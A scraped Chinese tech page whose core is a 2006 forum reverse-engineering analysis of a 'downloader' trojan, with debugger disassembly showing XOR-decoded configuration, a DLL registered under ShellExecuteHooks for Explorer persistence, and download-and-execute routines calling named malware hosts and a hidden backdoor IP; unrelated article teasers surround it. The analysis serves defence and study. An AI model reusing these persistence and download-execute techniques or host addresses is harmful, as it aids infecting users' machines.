一款木马的分析

18对个人财富的窥视——对一款手机木马的解读及分析 今年的3.15晚会异常精彩,网络安全不再离我们那么遥远,智能硬件漏洞、淘宝刷单等已经开始影响我们的生活,如果您不懂网络安全专业知识,没有关系,但必须得有安全意识和安全常识,经常听到周围很多朋友的朋友被骗**万,什么手机短信诈骗,什么冒充公检法欺诈,什么冒充家长转账!其实这些并没有那么神秘,在收到这些信息后,冷静下来仔细思考,认真核对,就会发现原来就是欺骗,避免上当,下面以一个实际的例子来揭露手机APK短信欺骗。 18.1对手机短信进行分析 1.分析短息内容 昨日,在微信朋友群中,朋友发了一张截图,如图1所示 阅读详情
名字叫什么 木马基地八一极限下载者,木马么,都喜欢搞得比较牛的样子,其实都比较龌龊,技术和人品一样龌龊。
 
  附件是木马生成器,建议先运行一下看看,生成器无毒。

  我下面分析的是这个生成器产生的木马,配置信息就用默认的。


木马第一次运行


1.读取配置信息

//第一个函数,Delphi编译器产生的用来初始化异常处理之类,比较经典。
0040464B |. E8 88F6FFFF   call   00403CD8

0040440E |. E8 D9F9FFFF   call   <jmp.&kernel32.GetSystemDirector>; /GetSystemDirectoryA

//这里打开自身文件
004041A9 |. E8 FEFBFFFF   call   <jmp.&kernel32.CreateFileA>     ; /CreateFileA

//读取文件最后面4个字节
004041B5 |. 6A 02       push   2                       ; /Origin = FILE_END
004041B7 |. 6A 00       push   0                       ; |pOffsetHi = NULL
004041B9 |. 6A FC       push   -4                     ; |OffsetLo = FFFFFFFC (-4.)
004041BB |. 53         push   ebx                     ; |hFile
004041BC |. E8 6BFCFFFF   call   <jmp.&kernel32.SetFilePointer>   ; /SetFilePointer
004041C1 |. 6A 00       push   0                       ; /pOverlapped = NULL
004041C3 |. 8D45 F8     lea   eax, [ebp-8]               ; |
004041C6 |. 50         push   eax                     ; |pBytesRead
004041C7 |. 6A 04       push   4                       ; |BytesToRead = 4
004041C9 |. 8D45 F4     lea   eax, [ebp-C]               ; |
004041CC |. 50         push   eax                     ; |Buffer
004041CD |. 53         push   ebx                     ; |hFile
004041CE |. E8 49FCFFFF   call   <jmp.&kernel32.ReadFile>       ; /ReadFile

//将结果异或以下,象征性加过密
004041D3 |. 8175 F4 697A6>xor   dword ptr [ebp-C], 4D617A69

//根据该结果重新定位文件指针地址
004041EB |. 8B45 F4     mov   eax, [ebp-C]               ; |
004041EE |. F7D8       neg   eax                     ; |
004041F0 |. 50         push   eax                     ; |OffsetLo
004041F1 |. 53         push   ebx                     ; |hFile
004041F2 |. E8 35FCFFFF   call   <jmp.&kernel32.SetFilePointer>   ; /SetFilePointer

//读取开始设置的配置信息
00404212 |. 50         push   eax                     ; |Buffer
00404213 |. 53         push   ebx                     ; |hFile
00404214 |. E8 03FCFFFF   call   <jmp.&kernel32.ReadFile>       ; /ReadFile

0040421A |. E8 85FBFFFF   call   <jmp.&kernel32.CloseHandle>     ; /CloseHandle


2.创建DLL文件

//试图删除文件"C:/Program Files/Common Files/Microsoft Shared/MSINFO/InfoMs.dlt"
004046D9 |. E8 D6F6FFFF   call   <jmp.&kernel32.DeleteFileA>     ; /DeleteFileA

如果删除不了,则设置该文件为下次开机后由系统删除。

//查找资源
004040A6 |. 53         push   ebx                     ; /ResourceType
004040A7 |. 56         push   esi                     ; |ResourceName
004040A8 |. A1 50664000   mov   eax, [406650]               ; |
004040AD |. 50         push   eax                     ; |hModule => 00400000 (Hack169)
004040AE |. E8 09FDFFFF   call   <jmp.&kernel32.FindResourceA>   ; /FindResourceA

004040BD |. 57         push   edi                     ; /hResource
004040BE |. A1 50664000   mov   eax, [406650]               ; |
004040C3 |. 50         push   eax                     ; |hModule => 00400000 (Hack169)
004040C4 |. E8 3BFDFFFF   call   <jmp.&kernel32.LoadResource>     ; /LoadResource

004040D3 |. 56         push   esi                     ; /hResource
004040D4 |. E8 33FDFFFF   call   <jmp.&kernel32.LockResource>     ; /LockResource

//创建文件:"C:/Program Files/Common Files/Microsoft Shared/MSINFO/InfoMs.dlt"
004040F5 |. E8 B2FCFFFF   call   <jmp.&kernel32.CreateFileA>     ; /CreateFileA

00404108 |. E8 27FDFFFF   call   <jmp.&kernel32.SizeofResource>   ; /SizeofResource

//将加载的资源写入该文件
0040411B |. E8 1CFDFFFF   call   <jmp.&kernel32.WriteFile>       ; /WriteFile

//将上面读取得配置信息写入该文件
00404139 |. 50         push   eax                     ; |Buffer
0040413A |. 53         push   ebx                     ; |hFile
0040413B |. E8 FCFCFFFF   call   <jmp.&kernel32.WriteFile>       ; /WriteFile
00404140 |. 53         push   ebx                     ; /hFile
00404141 |. E8 DEFCFFFF   call   <jmp.&kernel32.SetEndOfFile>     ; /SetEndOfFile
00404146 |. 53         push   ebx                     ; /hObject
00404147 |. E8 58FCFFFF   call   <jmp.&kernel32.CloseHandle>     ; /CloseHandle

//释放资源
00404154 |. E8 73FCFFFF   call   <jmp.&kernel32.FreeResource>     ; /FreeResource

3.加载该DLL

00404735 |. 68 50484000   push   00404850                 ; /Title = "yundao"
0040473A |. 68 58484000   push   00404858                 ; |Class = "ScrollBar"
0040473F |. E8 18F7FFFF   call   <jmp.&user32.FindWindowA>       ; /FindWindowA

//加载创建的DLL:"C:/Program Files/Common Files/Microsoft Shared/MSINFO/InfoMs.dlt"
0040474D |. E8 AAF6FFFF   call   <jmp.&kernel32.LoadLibraryA>     ; /LoadLibraryA

//获得该DLL导出的2个函数
0040475C |. 68 64484000   push   00404864                 ; /ProcNameOrOrdinal = "MsgHookOff"
00404761 |. 53         push   ebx                     ; |hModule
00404762 |. E8 75F6FFFF   call   <jmp.&kernel32.GetProcAddress>   ; /GetProcAddress
00404767 |. A3 B0664000   mov   [4066B0], eax
0040476C |. 68 70484000   push   00404870                 ; /ProcNameOrOrdinal = "MsgHookOn"
00404771 |. 53         push   ebx                     ; |hModule
00404772 |. E8 65F6FFFF   call   <jmp.&kernel32.GetProcAddress>   ; /GetProcAddress

//为自己创建一个窗体
00403EBD |. E8 B6FFFFFF   call   <jmp.&user32.CreateWindowExA>   ; /CreateWindowExA

//调用上面的DLL导出的函数
004047B3 |. FF15 B4664000 call   [4066B4]                 ; InfoMs.MsgHookOn

//设置了一个钩子,这个钩子啥都没做,也比较艹蛋
00A35570   E8 BBEEFFFF   call   <jmp.&user32.SetWindowsHookExA>

//进入消息循环,不过循环2下就出来了
004047BB |> /68 94664000   /push   00406694                 ; /pMsg = WM_NULL
004047C0 |. |E8 8FF6FFFF   |call   <jmp.&user32.DispatchMessageA>   ; /DispatchMessageA
004047C5 |> |6A 00       push   0                     ; /MsgFilterMax = 0
004047C7 |. |6A 00       |push   0                     ; |MsgFilterMin = 0
004047C9 |. |6A 00       |push   0                     ; |hWnd = NULL
004047CB |. |68 94664000   |push   00406694                 ; |pMsg = Hack169.00406694
004047D0 |. |E8 8FF6FFFF   |call   <jmp.&user32.GetMessageA>     ; /GetMessageA
004047D5 |. |85C0       |test   eax, eax
004047D7 |.^/75 E2       /jnz   short 004047BB

//调用DLL导出的MsgHookOff,里面就是把刚才下的钩子卸掉
004047D9 |. FF15 B0664000 call   [4066B0]                 ; InfoMs.MsgHookOff

4.注册表处理

//HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/ShellExecuteHooks
0040405C |. E8 33FDFFFF   call   <jmp.&advapi32.RegCreateKeyExA>   ; /RegCreateKeyExA

//"{F630F902-0922-45C8-B820-C8AF4C610C28}"
00404073 |. E8 24FDFFFF   call   <jmp.&advapi32.RegSetValueExA>   ; /RegSetValueExA

//HKEY_CLASSES_ROOT/CLSID/{F630F902-0922-45C8-B820-C8AF4C610C28}
0040405C |. E8 33FDFFFF   call   <jmp.&advapi32.RegCreateKeyExA>   ; /RegCreateKeyExA

00404073 |. E8 24FDFFFF   call   <jmp.&advapi32.RegSetValueExA>   ; /RegSetValueExA

//HKEY_CLASSES_ROOT/CLSID/{F630F902-0922-45C8-B820-C8AF4C610C28}/InProcServer32"
0040405C |. E8 33FDFFFF   call   <jmp.&advapi32.RegCreateKeyExA>   ; /RegCreateKeyExA

//buffer:C:/Program Files/Common Files/Microsoft Shared/MSINFO/InfoMs.dlt
00404073 |. E8 24FDFFFF   call   <jmp.&advapi32.RegSetValueExA>   ; /RegSetValueExA

/*
0012FF34   80000000 |hKey = HKEY_CLASSES_ROOT
0012FF38   0093026C |Subkey = "CLSID/{F630F902-0922-45C8-B820-C8AF4C610C28}/InProcServer32"
*/
0040405C |. E8 33FDFFFF   call   <jmp.&advapi32.RegCreateKeyExA>   ; /RegCreateKeyExA

/*
buffer:
004043C4 Apartment
*/
00404073 |. E8 24FDFFFF   call   <jmp.&advapi32.RegSetValueExA>   ; /RegSetValueExA

退出。


作者:nbw 4 NE365 。近来总有人修改版权,没办法,只好在中间插个广告了。   继续看。

下面分析InfoMs.dlt


由于上面将该DLL注册为ShellExecuteHooks项,所以该DLL会被explorer加载。

这里判断加载该DLL的是否为Explorer

//String1 = "LOADDLL.EXE"
//String2 = "Explorer.Exe"
00785738     |. E8 ABECF>call <jmp.&kernel32.lstrcmpiA>                 ; /lstrcmpiA

如果不是则退出。

//从文件末尾读取配置文件

00784634     |. E8 47FDF>call <jmp.&kernel32.CreateFileA>               ; /CreateFileA

0078464B     |. E8 88FDF>call <jmp.&kernel32.SetFilePointer>             ; /SetFilePointer

0078465A     |. E8 69FDF>call <jmp.&kernel32.ReadFile>                 ; /ReadFile

0078467F     |. E8 54FDF>call <jmp.&kernel32.SetFilePointer>             ; /SetFilePointer

007846A1     |. E8 22FDF>call <jmp.&kernel32.ReadFile>                 ; /ReadFile

//将配置信息解密
00784554     |> /8A93 C46>/mov dl,byte ptr ds:[ebx+7860C4]
0078455A     |. |8B0C24   |mov ecx,dword ptr ss:[esp]
0078455D     |. |3011   |xor byte ptr ds:[ecx],dl
0078455F     |. |FF0424   |inc dword ptr ss:[esp]
00784562     |. |43     |inc ebx
00784563     |. |81E3 070>|and ebx,80000007
00784569     |. |79 05   |jns short InfoMs.00784570
0078456B     |. |4B     |dec ebx
0078456C     |. |83CB F8 |or ebx,FFFFFFF8
0078456F     |. |43     |inc ebx
00784570     |> |48     |dec eax
00784571     |.^/75 E1   /jnz short InfoMs.00784554

得到:

00BA0050 DownHeader.. http://www.hack169.com/1.exe..http://www.hack169.com
00BA0090 /2.exe.. http://www.hack169.com/3.exe..http://www.hack169.com/4.e
00BA00D0 xe.. http://www.hack169.com/5.exe..http://www.hack169.com/6.exe..
00BA0110 http://www.hack169.com/7.exe..作者:RobBer QQ:3035777..欢迎访问
00BA0150 木马基地 www.Hack169.com..$,,....

也就是开始我们设置的下载信息等。

下面解析上面的这个结构,具体略。

007857A6     |. 68 08587>push InfoMs.00785808                       ; /Title = "yundao"
007857AB     |. 68 10587>push InfoMs.00785810                       ; |Class = "ScrollBar"
007857B0     |. E8 4BECF>call <jmp.&user32.FindWindowA>                 ; /FindWindowA

//启动了一个线程
007857B9     |. 68 D0777>push InfoMs.007877D0                       ; /pThreadId = InfoMs.007877D0
007857BE     |. 6A 00   push 0                                 ; |CreationFlags = 0
007857C0     |. 6A 42   push 42                               ; |pThreadParm = 00000042
007857C2     |. 68 F4537>push InfoMs.007853F4                       ; |ThreadFunction = InfoMs.007853F4
007857C7     |. 6A 00   push 0                                 ; |StackSize = 0
007857C9     |. 6A 00   push 0                                 ; |pSecurity = NULL
007857CB     |. E8 C0EBF>call <jmp.&kernel32.CreateThread>               ; /CreateThread

下面研究一下这个线程:

007853FB     |. 68 94547>push InfoMs.00785494                       ; /Title = "yundao"
00785400     |. 68 9C547>push InfoMs.0078549C                       ; |Class = "ScrollBar"
00785405     |. E8 F6EFF>call <jmp.&user32.FindWindowA>                 ; /FindWindowA

0078448C     |. 50     push eax                               ; |WindowName
0078448D     |. 57     push edi                               ; |Class
0078448E     |. 56     push esi                               ; |ExtStyle
0078448F     |. E8 B4FFF>call <jmp.&user32.CreateWindowExA>             ; /CreateWindowExA

//"C:/Program Files/Common Files/Microsoft Shared/MSInfo/InfoMs.dlt"
00785420     |. E8 9BEFF>call <jmp.&kernel32.LoadLibraryA>               ; /LoadLibraryA

//这里设置了一个时间事件
00785156     |> /68 2C517>push InfoMs.0078512C                       ; /Timerproc = InfoMs.0078512C
0078515B     |. 68 E0930>push 493E0                             ; |Timeout = 300000. ms
00785160     |. 6A 00   push 0                                 ; |TimerID = 0
00785162     |. 6A 00   push 0                                 ; |hWnd = NULL
00785164     |. E8 BFF2F>call <jmp.&user32.SetTimer>                   ; /SetTimer

//又设置了一个时间事件2
00785382     |> /68 60537>push InfoMs.00785360                       ; /Timerproc = InfoMs.00785360
00785387     |. 68 C0270>push 927C0                             ; |Timeout = 600000. ms
0078538C     |. 6A 00   push 0                                 ; |TimerID = 0
0078538E     |. 6A 00   push 0                                 ; |hWnd = NULL
00785390     |. E8 93F0F>call <jmp.&user32.SetTimer>                   ; /SetTimer

//进入自身消息循环
00785458     |> /8D45 E4 /lea eax,dword ptr ss:[ebp-1C]
0078545B     |. |50     |push eax                               ; /pMsg
0078545C     |. |E8 97EFF>|call <jmp.&user32.DispatchMessageA>             ; /DispatchMessageA
00785461     |> |6A 00   push 0                               ; /MsgFilterMax = 0
00785463     |. |6A 00   |push 0                               ; |MsgFilterMin = 0
00785465     |. |6A 00   |push 0                               ; |hWnd = NULL
00785467     |. |8D45 E4 |lea eax,dword ptr ss:[ebp-1C]                 ; |
0078546A     |. |50     |push eax                               ; |pMsg
0078546B     |. |E8 98EFF>|call <jmp.&user32.GetMessageA>               ; /GetMessageA
00785470     |. |85C0   |test eax,eax
00785472     |.^/75 E4   /jnz short InfoMs.00785458

我们看一下上面的2个时间事件。


事件1:

既然是下载者,就要从网上下载东西下来,下载的东西就是开始设置的。这个时间事件就处理这个东西。

00784AA4         |> /8B07   /mov eax,dword ptr ds:[edi]
00784AA6         |. |833C98 0>|cmp dword ptr ds:[eax+ebx*4],0
00784AAA         |. |74 18   |je short InfoMs.00784AC4
00784AAC         |. |8B07   |mov eax,dword ptr ds:[edi]
00784AAE         |. |8B0498   |mov eax,dword ptr ds:[eax+ebx*4]
00784AB1         |. |E8 C6FEF>|call InfoMs.0078497C
00784AB6         |. |85C0   |test eax,eax
00784AB8         |. |74 0A   |je short InfoMs.00784AC4
00784ABA         |. |8B07   |mov eax,dword ptr ds:[edi]
00784ABC         |. |8D0498   |lea eax,dword ptr ds:[eax+ebx*4]
00784ABF         |. |E8 14E9F>|call InfoMs.007833D8
00784AC4         |> |43     |inc ebx
00784AC5         |. |4E     |dec esi
00784AC6         |.^/75 DC   /jnz short InfoMs.00784AA4

具体:

00784B93         |. E8 20F8F>call <jmp.&kernel32.GetTempPathA>               ; /GetTempPathA

判断临时目录里是否有1.exe,如果有,则删除

//"C:/DOCUME~1/nbw1/LOCALS~1/Temp/1.exe"
007849CD         |. E8 AA010>call <jmp.&shlwapi.PathFileExistsA>             ; /PathFileExistsA
007849D2         |. 85C0   test eax,eax
007849D4         |. 74 06   je short InfoMs.007849DC
007849D6         |. 53     push ebx                               ; /FileName
007849D7         |. E8 BCF9F>call <jmp.&kernel32.DeleteFileA>               ; /DeleteFileA

从指定的URL下载文件,运行之:

//" http://www.hack169.com/1.exe"
//"C:/DOCUME~1/nbw1/LOCALS~1/Temp/1.exe"
00784A34         |. E8 C3FEF>call <jmp.&URLMON.URLDownloadToFileA>

00784A3D         |. 6A 05   push 5                             ; /IsShown = 5
00784A3F         |. 6A 00   push 0                             ; |DefDir = NULL
00784A41         |. 6A 00   push 0                             ; |Parameters = NULL
00784A43         |. 53     push ebx                           ; |FileName
00784A44         |. 68 804A7>push InfoMs.00784A80                   ; |Operation = "open"
00784A49         |. 6A 00   push 0                             ; |hWnd = NULL
00784A4B         |. E8 ECFEF>call <jmp.&shell32.ShellExecuteA>           ; /ShellExecuteA

如此往复,会把我们生成木马时候设置的URL都连接一遍下来运行一下。


然后看看时间事件2:

//这里传递一个字符串,明显是加密后的
00785321         |. B8 40537>mov eax,InfoMs.00785340                 ; ASCII "nrrv< ))qqq(englogh>(eik)nk(r~r"
00785326         |. E8 65FFF>call InfoMs.00785290

//解密这个字符串:
00785210         |> /8B45 FC /mov eax,dword ptr ss:[ebp-4]
00785213         |. |8A4418 F>|mov al,byte ptr ds:[eax+ebx-1]
00785217         |. |24 0F   |and al,0F
00785219         |. |8B55 F8 |mov edx,dword ptr ss:[ebp-8]
0078521C         |. |8A5432 F>|mov dl,byte ptr ds:[edx+esi-1]
00785220         |. |80E2 0F |and dl,0F
00785223         |. |32C2   |xor al,dl
00785225         |. |8845 F3 |mov byte ptr ss:[ebp-D],al
00785228         |. |8D45 FC |lea eax,dword ptr ss:[ebp-4]
0078522B         |. |E8 1CE5F>|call InfoMs.0078374C
00785230         |. |8B55 FC |mov edx,dword ptr ss:[ebp-4]
00785233         |. |8A541A F>|mov dl,byte ptr ds:[edx+ebx-1]
00785237         |. |80E2 F0 |and dl,0F0
0078523A         |. |8A4D F3 |mov cl,byte ptr ss:[ebp-D]
0078523D         |. |02D1   |add dl,cl
0078523F         |. |885418 F>|mov byte ptr ds:[eax+ebx-1],dl
00785243         |. |46     |inc esi
00785244         |. |8B45 F8 |mov eax,dword ptr ss:[ebp-8]
00785247         |. |E8 A8E2F>|call InfoMs.007834F4
0078524C         |. |3BF0   |cmp esi,eax
0078524E         |. |7E 05   |jle short InfoMs.00785255
00785250         |. |BE 01000>|mov esi,1
00785255         |> |43     |inc ebx
00785256         |. |4F     |dec edi
00785257         |.^/75 B7   /jnz short InfoMs.00785210

得到:

00BA0528 http://www.chajian8.com/hm.txt

00784D5A         |. 68 3C4E7>push InfoMs.00784E3C                   ; ASCII "Open3"
00784D5F         |. E8 C8FDF>call <jmp.&wininet.InternetOpenA>

//连接上面的URL:" http://www.chajian8.com/hm.txt"
00784D88         |. E8 A7FDF>call <jmp.&wininet.InternetOpenUrlA>

//读取该URL的内容:
00784DA1         |> /833F 00 /cmp dword ptr ds:[edi],0
00784DA4         |. |74 56   |je short InfoMs.00784DFC
00784DA6         |. |8D85 F0F>|lea eax,dword ptr ss:[ebp-410]
00784DAC         |. |50     |push eax
00784DAD         |. |8D85 ECF>|lea eax,dword ptr ss:[ebp-414]
00784DB3         |. |8D95 F4F>|lea edx,dword ptr ss:[ebp-40C]
00784DB9         |. |B9 00040>|mov ecx,400
00784DBE         |. |E8 D9E6F>|call InfoMs.0078349C
00784DC3         |. |8B85 ECF>|mov eax,dword ptr ss:[ebp-414]
00784DC9         |. |8B0F   |mov ecx,dword ptr ds:[edi]
00784DCB         |. |BA 01000>|mov edx,1
00784DD0         |. |E8 7FE9F>|call InfoMs.00783754
00784DD5         |. |8B95 F0F>|mov edx,dword ptr ss:[ebp-410]
00784DDB         |. |8BC3   |mov eax,ebx
00784DDD         |. |E8 1AE7F>|call InfoMs.007834FC
00784DE2         |> |57     push edi
00784DE3         |. |68 00040>|push 400
00784DE8         |. |8D85 F4F>|lea eax,dword ptr ss:[ebp-40C]
00784DEE         |. |50     |push eax
00784DEF         |. |8B45 F8 |mov eax,dword ptr ss:[ebp-8]
00784DF2         |. |50     |push eax
00784DF3         |. |E8 44FDF>|call <jmp.&wininet.InternetReadFile>
00784DF8         |. |85C0   |test eax,eax
00784DFA         |.^/75 A5   /jnz short InfoMs.00784DA1

00784E00         |. E8 1FFDF>call <jmp.&wininet.InternetCloseHandle>

00784E09         |. E8 16FDF>call <jmp.&wininet.InternetCloseHandle>

获得的内容是什么呢?可以自己去看一下这个URL:

nrrv< ))07(721(77>(475)gb7(c~c

明显这又是个加密后的数据,解密该内容,方法同上面的解密,得到:

http://61.147.118.213/ad1.exe

//连接该地址" http://61.147.118.213/ad1.exe"
00784D88         |. E8 A7FDF>call <jmp.&wininet.InternetOpenUrlA>

//读取内容
00784DA1         |> /833F 00 /cmp dword ptr ds:[edi],0
00784DA4         |. |74 56   |je short InfoMs.00784DFC
00784DA6         |. |8D85 F0F>|lea eax,dword ptr ss:[ebp-410]
00784DAC         |. |50     |push eax
00784DAD         |. |8D85 ECF>|lea eax,dword ptr ss:[ebp-414]
00784DB3         |. |8D95 F4F>|lea edx,dword ptr ss:[ebp-40C]
00784DB9         |. |B9 00040>|mov ecx,400
00784DBE         |. |E8 D9E6F>|call InfoMs.0078349C
00784DC3         |. |8B85 ECF>|mov eax,dword ptr ss:[ebp-414]
00784DC9         |. |8B0F   |mov ecx,dword ptr ds:[edi]
00784DCB         |. |BA 01000>|mov edx,1
00784DD0         |. |E8 7FE9F>|call InfoMs.00783754
00784DD5         |. |8B95 F0F>|mov edx,dword ptr ss:[ebp-410]
00784DDB         |. |8BC3   |mov eax,ebx
00784DDD         |. |E8 1AE7F>|call InfoMs.007834FC
00784DE2         |> |57     push edi
00784DE3         |. |68 00040>|push 400
00784DE8         |. |8D85 F4F>|lea eax,dword ptr ss:[ebp-40C]
00784DEE         |. |50     |push eax
00784DEF         |. |8B45 F8 |mov eax,dword ptr ss:[ebp-8]
00784DF2         |. |50     |push eax
00784DF3         |. |E8 44FDF>|call <jmp.&wininet.InternetReadFile>
00784DF8         |. |85C0   |test eax,eax
00784DFA         |.^/75 A5   /jnz short InfoMs.00784DA1


//"C:/DOCUME~1/nbw1/LOCALS~1/Temp/ad1.exe.exe"
00784E58         |. 55     push ebp                           ; /FileName
00784E59         |. E8 3AF5F>call <jmp.&kernel32.DeleteFileA>           ; /DeleteFileA

//创建文件"C:/DOCUME~1/nbw1/LOCALS~1/Temp/ad1.exe.exe"
00784E71         |. E8 0AF5F>call <jmp.&kernel32.CreateFileA>           ; /CreateFileA

//将上面从网上下载的内容存放到该文件内
00784E93         |. 50     push eax                           ; |Buffer
00784E94         |. 53     push ebx                           ; |hFile
00784E95         |. E8 46F5F>call <jmp.&kernel32.WriteFile>             ; /WriteFile
00784E9A         |. 53     push ebx                           ; /hFile
00784E9B         |. E8 30F5F>call <jmp.&kernel32.SetEndOfFile>           ; /SetEndOfFile

//启动该文件"C:/DOCUME~1/nbw1/LOCALS~1/Temp/ad1.exe.exe"
00784F0A         |. E8 79F4F>call <jmp.&kernel32.CreateProcessA>         ; /CreateProcessA

这个ad1.exe,就是木马作者留的后门,我们开始并不知道。貌似是个流氓软件。


总结一下,这个所谓的下载者释放了一个dll,利用稍微特殊点的手段(其实也不是什么技术),把这个dll加载到Explorer里面;

dll的末尾是需要下载的URL地址之类,将该信息解析出来,然后下载下来执行,可以是木马之类;

另外该dll会下载 http://61.147.118.213/ad1.exe执行,这个是木马作者自己放的,从他提供的生成器中是看不到的。写木马么,除了有些rpwt,也要挣钱嘛。

附件是木马生成器,可以运行,无毒。

生成的木马文件不建议运行。

所上传文件 downloader.rar (上传时间2006-08-03,22:27,183 KB,0 次点击)


附件:

http://bbs.pediy.com/attachment.php?s=&attachmentid=2368 
波束管理 Beam Management Beam Management in 5G NR   波束管理,是5G NR中基于信道质量来动态选择每个UE和gNB之间以什么方向和频率的波束beam来进行通信。   背景   5G NR(New Radio)支持非常高的数据速率和更低的延迟。5G NR支持FR1和FR2频段,FR1为亚6 GHz(450至6000 MHz);FR2为毫米波段(24.25 GHz至52.6 GHz)。   由于毫米波频带使用非常高的频率,因此会导致传播损耗和其他损耗。为了补偿损失,在这种频率下定向通信是必不可少的。 阅读详情

相关推荐

手把手教你用DCA1000EVM解析IWR6843毫米波雷达数据(附MATLAB代码)

本文提供了一份详尽的实战指南,手把手教你使用DCA1000EVM采集并解析TI毫米波雷达IWR6843的原始数据。内容涵盖硬件连接配置、mmWave Studio参数设置、LVDS数据流结构解析,并附有核心MATLAB代码,详细演示了从原始二进制文件到距离-速度谱的信号处理全链路,帮助开发者快速掌握数据解析与处理的关键步骤。

terraform7cloud的博客 228

Win32远线程注入

也就是说,虽然进程不同,但是开机后,kernel32.dll的加载基址在各个进程中都是相同的,因此导出函数的地址也相同。那么,可将LoadLibrary函数的地址作为多线程函数的地址,某个DLL路径字符串作为多线程函数的参数,并传递给CreateRemoteThread函数在目标进程空间中创建一个多线程,这样能不能成功呢?此值不能与任何其他值一起使用。指向由线程执﹐行类型为LPTHREAD_START_ROUTINE的应用程序定义的函数指针,并表示远程进程中线程的起始地址,该函数必须存在于远程进程中。

【微软MVP】zhaotianff的专栏 1629

别再混淆了!深入浅出图解四元数姿态控制中的‘误差四元数’(附四种定义对比与仿真)

本文深入解析四元数姿态控制中的误差四元数定义差异,对比四种常见定义(如Q₀∘Q⁻¹与Q⁻¹∘Q₀)及其对PD控制性能的影响。通过刚体动力学仿真验证,揭示定义二(Q⁻¹∘Q₀)在无人机和航天器控制中的最优性能,提供工程实践建议与参数整定技巧,帮助开发者避免常见陷阱并提升控制效率。

weixin_42528191的博客 279

一个简单木马分析及接管利用

近期一段时间,感觉工作非常是杂乱无章,博客也基本没时间来写,基本每月一篇,事实上每写一篇也代表眼下我自己的工作状态及内容。近期搞逆向这一块,找了些样本分析样例。自己也研究了一下,感觉有不少好东西。当然这些样本非常多都过时了,甚至淘汰了。但对于学习而言还是有点用处,这里介绍一个简单木马分析及其接管利用。 本文分析的木马样本来自吾爱破解论坛。早之前2010年时就有人分析过:http://ww...

weixin_33674437的博客 214

告别ORB-SLAM2?手把手教你用OpenVSLAM在Ubuntu 20.04上跑通第一个SLAM Demo(含依赖库避坑指南)

本文详细介绍了如何在Ubuntu 20.04系统上从ORB-SLAM2迁移到OpenVSLAM,包括环境配置、依赖库安装、编译调整及性能优化。OpenVSLAM凭借其模块化设计和多相机支持,在SLAM领域展现出显著优势,适合机器人导航和AR应用开发。文章还提供了实用的避坑指南和进阶技巧,帮助开发者高效完成迁移。

weixin_42524499的博客 255

CIC-IDS数据集特征介绍

###1、简介 通信安全机构(CSE)与加拿大网络安全研究所(CIC)合作项目,该项目对自1998年以来现有的11个数据集的评估表明,大多数数据集(比如经典的KDDCUP99,NSLKDD等)已经过时且不可靠。其中一些数据集缺乏流量多样性和容量,一些数据集没有涵盖各种已知的攻击,而另一些数据集将数据包有效载荷数据匿名化,这不能反映当前的趋势。有些还缺少特征集和元数据。 CIC-IDS-2017数据集包含良性和最新的常见攻击,类似真实世界数据(PCAPs)。 它的数据采集截至2017...

蓝亚之舟的博客 3万+

木马分析

木马分析 原理 1.木马是隐藏在正常程序中的具有特殊功能恶意代码,是具备破坏,删除和修改文件,发送密码,记录键盘,实施Dos攻击甚至完全可能告知计算机等特殊功能的后门程序。它隐藏在目标计算机里,可以随计算机自动启动并在某一端口监听来自控制端的控制信息。 2.木马的传统连接技术: 一般木马都采用C/S(client/server,即服务器/客户端)运行模式,因此它分为两部分,即客户端和服务前端木马程序。其原理是,当服务器端程序在目标计算机上被执行后,一般会打开一个默认的端口进行监听,当客户端向服务器端主动提出

qq_45157635的博客 1279

5个实战必备的多模态情感分析数据集(附下载链接与避坑指南)

本文精选了5个实战必备的多模态情感分析数据集,包括CMU-MOSEI、CH-SIMS、UR-FUNNY、MUStARD和IEMOCAP,并提供了详细的下载链接与避坑指南。文章重点介绍了如何高效获取、预处理这些数据集,并自然整合了多模态情感分析的核心热词,旨在帮助研究者和开发者快速启动项目,规避常见陷阱,聚焦模型创新。

yolo5detector的博客 280

木马分析(隐藏分析)

实验目的&要求: 了解木马隐藏技术的基本原理 提高木马攻击的防范意识 明确木马技术的发展方向 学会使用木马防范的相关工具 实现实验所提到的命令和工具,得到实验结果 预备知识 木马隐藏的技术 程序隐藏: 木马程序隐藏通常指利用各种手段伪装木马程序,让一般用户无法从表面上直接识别出木马程序。要达到这一目的可以通过程序捆绑的方式实现。 程序捆绑方式是将多个exe程序链接在一起组合成一个exe文件,当运行该exe文件时,多个程序同时运行。程序捆绑有多种方式,如将多个exe文件...

lalalalala~~ 1414

SECS/GEM EAP 设备自动化功能原理和设计方案

半导体SECS GEMEAP实现了对生产线上机台的实时监控,是工厂自动化不可缺少的控制系统。EAP系统与FAB中的机台紧密相关,系统的设计与开发必须与生产线的机台实际生产流程相一致,才能达到控制机台生产的目的。 EAP SECS/GEM是MES与设备的桥梁,EAP通过SECS国际标准协议与机台进行数据传输。SECS是半导体设备(半导体行业称设备为机台)必须遵循的一种国际通信协议。EAP就是通过SECS与设备通信、传输数据、发送指令控制设备按照预先定义........

semisecs 17万+

我的二进制漏洞挖掘学习路线

漏洞挖掘也分好多方向:浏览器漏挖,虚拟化,iot,车联网,应用安全等。而且也要区分一下平台,Linux,Android,Windows,还有一些其他的系统。在基础知识拿捏以后,Windows下如OD,windbg,x64dbg。IDA,GDB要会并联调。然后需要了解一下漏洞的知识,漏洞利用的知识。可以从复现漏洞,CTF来学习,学习完之后就可以通过审计源码或者反汇编二进制程序来挖掘。然后就是练就行了,多关注一下最新安全消息,安全漏洞。

qq_36918532的博客 4944

关于一款远控木马的简单分析

其实很多朋友都不明白木马是如何简简单单的窃取了你的帐号密码乃至你的网银帐号,趁其你使用网银U盾还没有拔下来,直接操纵你的计算机进行转账,或者更高级的在你转账之时修改网页内容,甚至在你不知不觉中开启你计算机的摄像头,对你进行一个全方位360度兼后空翻720度的监控。 下面我以一款木马作为实例为大家做一个简单的分析。 这是一款体积非常小的控制软件,并且它还具备着较强的穿透防火墙和杀毒软件的主动防御

followingturing 追随图灵的路上... 7363

26、电子测量与旋转编码器控制技术解析

本文深入解析了电子测量中的电感测量技术与旋转编码器的控制方法。介绍了LC电路振荡原理、滤波器类型及其应用,并通过代码实现了基于脉冲宽度的电感值计算。对比了陶瓷电容与电解电容在高频测量中的性能差异。在旋转编码器部分,详细阐述了其工作原理,提出了抖动问题和检测遗漏的解决方案,包括中断检测法和基于4位状态映射的高精度控制方法。文章还探讨了相关技术在电力系统、通信设备、工业自动化和智能家居中的应用,并展望了高精度、智能化、小型化和无线化的发展趋势,为电子系统设计提供了实用指导和技术参考。

